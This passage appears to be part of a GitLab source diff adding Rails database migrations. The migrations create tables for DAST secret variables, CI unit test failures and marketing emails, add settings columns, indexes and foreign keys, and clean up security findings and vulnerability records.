+ # rubocop:enable Migration/AddLimitToTextColumns
+end
diff --git a/db/migrate/20210305031822_create_dast_site_profile_variables.rb b/db/migrate/20210305031822_create_dast_site_profile_variables.rb
new file mode 100644
index 00000000000..f55755aa731
--- /dev/null
+++ b/db/migrate/20210305031822_create_dast_site_profile_variables.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class CreateDastSiteProfileVariables < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ table_comment = { owner: 'group::dynamic analysis', description: 'Secret variables used in DAST on-demand scans' }
+
+ encrypted_value_constraint_name = check_constraint_name(:dast_site_profile_secret_variables, 'encrypted_value', 'max_length')
+ encrypted_value_iv_constraint_name = check_constraint_name(:dast_site_profile_secret_variables, 'encrypted_value_iv', 'max_length')
+
+ create_table_with_constraints :dast_site_profile_secret_variables, comment: table_comment.to_json do |t|
+ t.references :dast_site_profile, null: false, foreign_key: { on_delete: :cascade }, index: false
+
+ t.timestamps_with_timezone
+
+ t.integer :variable_type, null: false, default: 1, limit: 2
+
+ t.text :key, null: false
+ t.binary :encrypted_value, null: false
+ t.binary :encrypted_value_iv, null: false, unique: true
+
+ t.index [:dast_site_profile_id, :key], unique: true, name: :index_site_profile_secret_variables_on_site_profile_id_and_key
+
+ t.text_limit :key, 255
+
+ # This does not currently have first-class support via create_table_with_constraints
+ t.check_constraint encrypted_value_constraint_name, 'length(encrypted_value) <= 13352'
+ t.check_constraint encrypted_value_iv_constraint_name, 'length(encrypted_value_iv) <= 17'
+ end
+ end
+
+ def down
+ drop_table :dast_site_profile_secret_variables
+ end
+end
diff --git a/db/migrate/20210305180331_create_ci_unit_tests.rb b/db/migrate/20210305180331_create_ci_unit_tests.rb
new file mode 100644
index 00000000000..970834a025b
--- /dev/null
+++ b/db/migrate/20210305180331_create_ci_unit_tests.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+class CreateCiUnitTests < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:ci_unit_tests)
+ create_table :ci_unit_tests do |t|
+ t.bigint :project_id, null: false
+ t.text :key_hash, null: false
+ t.text :name, null: false
+ t.text :suite_name, null: false
+
+ t.index [:project_id, :key_hash], unique: true
+ # NOTE: FK for projects will be added on a separate migration as per guidelines
+ end
+ end
+
+ add_text_limit :ci_unit_tests, :key_hash, 64
+ add_text_limit :ci_unit_tests, :name, 255
+ add_text_limit :ci_unit_tests, :suite_name, 255
+ end
+
+ def down
+ drop_table :ci_unit_tests
+ end
+end
diff --git a/db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb b/db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb
new file mode 100644
index 00000000000..5e750d78a24
--- /dev/null
+++ b/db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddProjectsFkToCiUnitTests < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :ci_unit_tests, :projects, column: :project_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :ci_unit_tests, column: :project_id
+ end
+ end
+end
diff --git a/db/migrate/20210305182855_create_ci_unit_test_failures.rb b/db/migrate/20210305182855_create_ci_unit_test_failures.rb
new file mode 100644
index 00000000000..b3f68cdba4a
--- /dev/null
+++ b/db/migrate/20210305182855_create_ci_unit_test_failures.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class CreateCiUnitTestFailures < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ create_table :ci_unit_test_failures do |t|
+ t.datetime_with_timezone :failed_at, null: false
+ t.bigint :unit_test_id, null: false
+ t.bigint :build_id, null: false
+
+ t.index [:unit_test_id, :failed_at, :build_id], name: 'index_unit_test_failures_unique_columns', unique: true, order: { failed_at: :desc }
+ t.index :build_id
+ # NOTE: Adding the index for failed_at now for later use when we do scheduled clean up
+ t.index :failed_at, order: { failed_at: :desc }, name: 'index_unit_test_failures_failed_at'
+ t.foreign_key :ci_unit_tests, column: :unit_test_id, on_delete: :cascade
+ # NOTE: FK for ci_builds will be added on a separate migration as per guidelines
+ end
+ end
+
+ def down
+ drop_table :ci_unit_test_failures
+ end
+end
diff --git a/db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb b/db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb
new file mode 100644
index 00000000000..9cf75ba6059
--- /dev/null
+++ b/db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddCiBuildsFkToCiUnitTestFailures < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :ci_unit_test_failures, :ci_builds, column: :build_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :ci_unit_test_failures, column: :build_id
+ end
+ end
+end
diff --git a/db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb b/db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb
new file mode 100644
index 00000000000..5b731b78117
--- /dev/null
+++ b/db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+class ChangeNamespaceSettingsDelayedProjectRemovalNull < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ change_column :namespace_settings, :delayed_project_removal, :boolean, null: true, default: nil
+ end
+
+ def down
+ change_column_default :namespace_settings, :delayed_project_removal, false
+ change_column_null :namespace_settings, :delayed_project_removal, false, false
+ end
+end
diff --git a/db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb b/db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb
new file mode 100644
index 00000000000..e88f3e7ea0d
--- /dev/null
+++ b/db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddLockDelayedProjectRemovalToNamespaceSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :namespace_settings, :lock_delayed_project_removal, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb b/db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb
new file mode 100644
index 00000000000..1ccb25878e4
--- /dev/null
+++ b/db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddDelayedProjectRemovalToApplicationSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :application_settings, :delayed_project_removal, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb b/db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb
new file mode 100644
index 00000000000..c63175493de
--- /dev/null
+++ b/db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddLockDelayedProjectRemovalToApplicationSettings < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :application_settings, :lock_delayed_project_removal, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20210309160106_add_admin_mode_to_application_setting.rb b/db/migrate/20210309160106_add_admin_mode_to_application_setting.rb
new file mode 100644
index 00000000000..a7b634596d2
--- /dev/null
+++ b/db/migrate/20210309160106_add_admin_mode_to_application_setting.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddAdminModeToApplicationSetting < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :application_settings, :admin_mode, :boolean, default: false, null: false
+ end
+end
diff --git a/db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb b/db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb
new file mode 100644
index 00000000000..7858449be14
--- /dev/null
+++ b/db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class AddTextLimitsToDastSiteProfiles < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ # Set this constant to true if this migration requires downtime.
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_text_limit :dast_site_profiles, :auth_url, 1024
+ add_text_limit :dast_site_profiles, :auth_username_field, 255
+ add_text_limit :dast_site_profiles, :auth_password_field, 255
+ add_text_limit :dast_site_profiles, :auth_username, 255
+ end
+
+ def down
+ remove_text_limit :dast_site_profiles, :auth_username
+ remove_text_limit :dast_site_profiles, :auth_password_field
+ remove_text_limit :dast_site_profiles, :auth_username_field
+ remove_text_limit :dast_site_profiles, :auth_url
+ end
+end
diff --git a/db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb b/db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb
new file mode 100644
index 00000000000..523010a4aea
--- /dev/null
+++ b/db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddMetricsToBatchedBackgroundMigrationJobs < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :batched_background_migration_jobs, :metrics, :jsonb, null: false, default: {}
+ end
+end
diff --git a/db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb b/db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb
new file mode 100644
index 00000000000..72536d24fe1
--- /dev/null
+++ b/db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfEventsIdToBigint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ # Initialize the conversion of events.id to bigint
+ # Primary Key of the Events table
+ initialize_conversion_of_integer_to_bigint :events, :id
+ end
+
+ def down
+ trigger_name = rename_trigger_name(:events, :id, :id_convert_to_bigint)
+
+ remove_rename_triggers_for_postgresql :events, trigger_name
+
+ remove_column :events, :id_convert_to_bigint
+ end
+end
diff --git a/db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb b/db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb
new file mode 100644
index 00000000000..9ce3b59e2dd
--- /dev/null
+++ b/db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class InitializeConversionOfPushEventPayloadsEventIdToBigint < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ # Foreign key that references events.id
+ # Also Primary key of the push_event_payloads table
+ initialize_conversion_of_integer_to_bigint :push_event_payloads, :event_id, primary_key: :event_id
+ end
+
+ def down
+ trigger_name = rename_trigger_name(:push_event_payloads, :event_id, :event_id_convert_to_bigint)
+
+ remove_rename_triggers_for_postgresql :push_event_payloads, trigger_name
+
+ remove_column :push_event_payloads, :event_id_convert_to_bigint
+ end
+end
diff --git a/db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb b/db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb
new file mode 100644
index 00000000000..111486a17ab
--- /dev/null
+++ b/db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddOwnerAndIdIndexOnActiveCiPipelineSchedules < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_ci_pipeline_schedules_on_owner_id_and_id_and_active'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_pipeline_schedules, [:owner_id, :id], where: "active = TRUE", name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_pipeline_schedules, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb b/db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb
new file mode 100644
index 00000000000..89553a53084
--- /dev/null
+++ b/db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+class AddEnforcedGitCheckToSamlProvider < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ add_column :saml_providers, :git_check_enforced, :boolean, default: false, null: false
+ end
+
+ def down
+ remove_column :saml_providers, :git_check_enforced
+ end
+end
diff --git a/db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb b/db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb
new file mode 100644
index 00000000000..1de9d87cf25
--- /dev/null
+++ b/db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+class AddResourceAccessTokenCreationAllowedToNamespaceSettings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ add_column :namespace_settings, :resource_access_token_creation_allowed, :boolean, default: true, null: false
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :namespace_settings, :resource_access_token_creation_allowed
+ end
+ end
+end
diff --git a/db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb b/db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb
new file mode 100644
index 00000000000..e2d6dff23fa
--- /dev/null
+++ b/db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class AddVerificationStateAndStartedAtToSnippetRepositories < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ change_table(:snippet_repositories) do |t|
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ end
+ end
+end
diff --git a/db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb b/db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb
new file mode 100644
index 00000000000..ebbc1126aa2
--- /dev/null
+++ b/db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+class AddVerificationIndexesToSnippetRepositories < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ VERIFICATION_STATE_INDEX_NAME = "index_snippet_repositories_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_snippet_repositories_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_snippet_repositories_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_snippet_repositories_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :snippet_repositories, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ add_concurrent_index :snippet_repositories, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ add_concurrent_index :snippet_repositories, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ add_concurrent_index :snippet_repositories, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :snippet_repositories, VERIFICATION_STATE_INDEX_NAME
+ remove_concurrent_index_by_name :snippet_repositories, PENDING_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :snippet_repositories, FAILED_VERIFICATION_INDEX_NAME
+ remove_concurrent_index_by_name :snippet_repositories, NEEDS_VERIFICATION_INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb b/db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb
new file mode 100644
index 00000000000..3915689e0af
--- /dev/null
+++ b/db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddTrialExtensionTypeToGitlabSubscriptionHistories < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :gitlab_subscription_histories, :trial_extension_type, :smallint
+ end
+end
diff --git a/db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb b/db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb
new file mode 100644
index 00000000000..fb0ee789277
--- /dev/null
+++ b/db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class AddTrialExtensionTypeToGitlabSubscriptions < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ add_column :gitlab_subscriptions, :trial_extension_type, :smallint
+ end
+ end
+
+ def down
+ with_lock_retries do
+ remove_column :gitlab_subscriptions, :trial_extension_type
+ end
+ end
+end
diff --git a/db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb b/db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb
new file mode 100644
index 00000000000..1128bf586ae
--- /dev/null
+++ b/db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddIndexCiStagesOnPipelineIdAndId < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_ci_stages_on_pipeline_id_and_id'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :ci_stages, %i[pipeline_id id], where: 'status IN (0, 1, 2, 8, 9, 10)', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :ci_stages, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210317035357_create_dast_profiles_pipelines.rb b/db/migrate/20210317035357_create_dast_profiles_pipelines.rb
new file mode 100644
index 00000000000..f7a29958f12
--- /dev/null
+++ b/db/migrate/20210317035357_create_dast_profiles_pipelines.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class CreateDastProfilesPipelines < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def up
+ table_comment = { owner: 'group::dynamic analysis', description: 'Join table between DAST Profiles and CI Pipelines' }
+
+ create_table :dast_profiles_pipelines, primary_key: [:dast_profile_id, :ci_pipeline_id], comment: table_comment.to_json do |t|
+ t.bigint :dast_profile_id, null: false
+ t.bigint :ci_pipeline_id, null: false
+
+ t.index :ci_pipeline_id, unique: true, name: :index_dast_profiles_pipelines_on_ci_pipeline_id
+ end
+ end
+
+ def down
+ drop_table :dast_profiles_pipelines
+ end
+end
diff --git a/db/migrate/20210317100520_create_elastic_index_settings.rb b/db/migrate/20210317100520_create_elastic_index_settings.rb
new file mode 100644
index 00000000000..61c1cbb3518
--- /dev/null
+++ b/db/migrate/20210317100520_create_elastic_index_settings.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class CreateElasticIndexSettings < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ def up
+ create_table_with_constraints :elastic_index_settings do |t|
+ t.timestamps_with_timezone null: false
+ t.integer :number_of_replicas, null: false, default: 1, limit: 2
+ t.integer :number_of_shards, null: false, default: 5, limit: 2
+ t.text :alias_name, null: false
+
+ t.text_limit :alias_name, 255
+ t.index :alias_name, unique: true
+ end
+ end
+
+ def down
+ drop_table :elastic_index_settings
+ end
+end
diff --git a/db/migrate/20210317104301_create_in_product_marketing_emails.rb b/db/migrate/20210317104301_create_in_product_marketing_emails.rb
new file mode 100644
index 00000000000..b8c6b952c97
--- /dev/null
+++ b/db/migrate/20210317104301_create_in_product_marketing_emails.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+class CreateInProductMarketingEmails < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ UNIQUE_INDEX_NAME = 'index_in_product_marketing_emails_on_user_track_series'
+
+ disable_ddl_transaction!
+
+ def up
+ with_lock_retries do
+ create_table :in_product_marketing_emails do |t|
+ t.bigint :user_id, null: false
+ t.datetime_with_timezone :cta_clicked_at
+ t.integer :track, null: false, limit: 2
+ t.integer :series, null: false, limit: 2
+
+ t.timestamps_with_timezone
+ end
+ end
+
+ add_index :in_product_marketing_emails, :user_id
+ add_index :in_product_marketing_emails, [:user_id, :track, :series], unique: true, name: UNIQUE_INDEX_NAME
+ end
+
+ def down
+ with_lock_retries do
+ drop_table :in_product_marketing_emails
+ end
+ end
+end
diff --git a/db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb b/db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb
new file mode 100644
index 00000000000..f0b4d97d2cf
--- /dev/null
+++ b/db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddUserForeignKeyToInProductMarketingEmails < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :in_product_marketing_emails, :users, column: :user_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :in_product_marketing_emails, column: :user_id
+ end
+ end
+end
diff --git a/db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb b/db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb
new file mode 100644
index 00000000000..15f319b3965
--- /dev/null
+++ b/db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb
@@ -0,0 +1,9 @@
+# frozen_string_literal: true
+
+class AddExpiryNotificationDeliveredToKeys < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ def change
+ add_column :keys, :expiry_notification_delivered_at, :datetime_with_timezone
+ end
+end
diff --git a/db/migrate/20210318134427_delete_security_findings_without_uuid.rb b/db/migrate/20210318134427_delete_security_findings_without_uuid.rb
new file mode 100644
index 00000000000..f8e0f0fb32b
--- /dev/null
+++ b/db/migrate/20210318134427_delete_security_findings_without_uuid.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class DeleteSecurityFindingsWithoutUuid < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ class SecurityFinding < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'security_findings'
+
+ scope :without_uuid, -> { where(uuid: nil) }
+ end
+
+ def up
+ SecurityFinding.without_uuid.each_batch(of: 10_000) do |relation|
+ relation.delete_all
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb b/db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb
new file mode 100644
index 00000000000..4e9b3ddd41c
--- /dev/null
+++ b/db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddDastProfileIdFkToDastProfilesPipelines < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :dast_profiles_pipelines, :dast_profiles, column: :dast_profile_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :dast_profiles_pipelines, column: :dast_profile_id
+ end
+ end
+end
diff --git a/db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb b/db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb
new file mode 100644
index 00000000000..f1dce7f0cd8
--- /dev/null
+++ b/db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddCiPipelineIdFkToDastProfilesPipelines < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_foreign_key :dast_profiles_pipelines, :ci_pipelines, column: :ci_pipeline_id, on_delete: :cascade
+ end
+
+ def down
+ with_lock_retries do
+ remove_foreign_key :dast_profiles_pipelines, column: :ci_pipeline_id
+ end
+ end
+end
diff --git a/db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb b/db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb
new file mode 100644
index 00000000000..6387d8a6a43
--- /dev/null
+++ b/db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+class AddIndexToKeysOnExpiresAtAndExpiryNotificationUndelivered < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_keys_on_expires_at_and_expiry_notification_undelivered'
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :keys,
+ "date(timezone('UTC', expires_at)), expiry_notification_delivered_at",
+ where: 'expiry_notification_delivered_at IS NULL', name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name(:keys, INDEX_NAME)
+ end
+end
diff --git a/db/migrate/20210323064751_add_namespace_traversal_ids_index.rb b/db/migrate/20210323064751_add_namespace_traversal_ids_index.rb
new file mode 100644
index 00000000000..162173f6629
--- /dev/null
+++ b/db/migrate/20210323064751_add_namespace_traversal_ids_index.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddNamespaceTraversalIdsIndex < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = 'index_namespaces_on_traversal_ids'
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :namespaces, :traversal_ids, using: :gin, name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :namespaces, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb b/db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb
new file mode 100644
index 00000000000..aee6d5484d5
--- /dev/null
+++ b/db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+class PopulateDismissalInformationForVulnerabilities < ActiveRecord::Migration[6.0]
+ DOWNTIME = false
+ BATCH_SIZE = 100
+ UPDATE_QUERY = <<~SQL
+ UPDATE
+ vulnerabilities
+ SET
+ dismissed_at = COALESCE(dismissed_at, updated_at),
+ dismissed_by_id = COALESCE(dismissed_by_id, updated_by_id, last_edited_by_id, author_id)
+ WHERE
+ vulnerabilities.id IN (%{ids})
+ SQL
+
+ class Vulnerability < ActiveRecord::Base
+ include EachBatch
+
+ self.table_name = 'vulnerabilities'
+
+ enum state: { detected: 1, confirmed: 4, resolved: 3, dismissed: 2 }
+
+ scope :broken, -> { dismissed.where('dismissed_at IS NULL OR dismissed_by_id IS NULL') }
+ end
+
+ def up
+ Vulnerability.broken.each_batch(of: BATCH_SIZE) do |batch|
+ query = format(UPDATE_QUERY, ids: batch.select(:id).to_sql)
+
+ connection.execute(query)
+ end
+ end
+
+ def down
+ # no-op
+ end
+end
diff --git a/db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb b/db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb
new file mode 100644
index 00000000000..1ec6bc0bf2e
--- /dev/null
+++ b/db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class AddProjectStatusDateIndexToMergeRequests < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ DOWNTIME = false
+ INDEX_NAME = "idx_mrs_on_target_id_and_created_at_and_state_id"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :merge_requests, %i[target_project_id state_id created_at id], name: INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :merge_requests, INDEX_NAME
+ end
+end
diff --git a/db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb b/db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb
new file mode 100644
index 00000000000..68ce5363b70
--- /dev/null
+++ b/db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+# See https://docs.gitlab.com/ee/development/migration_style_guide.html
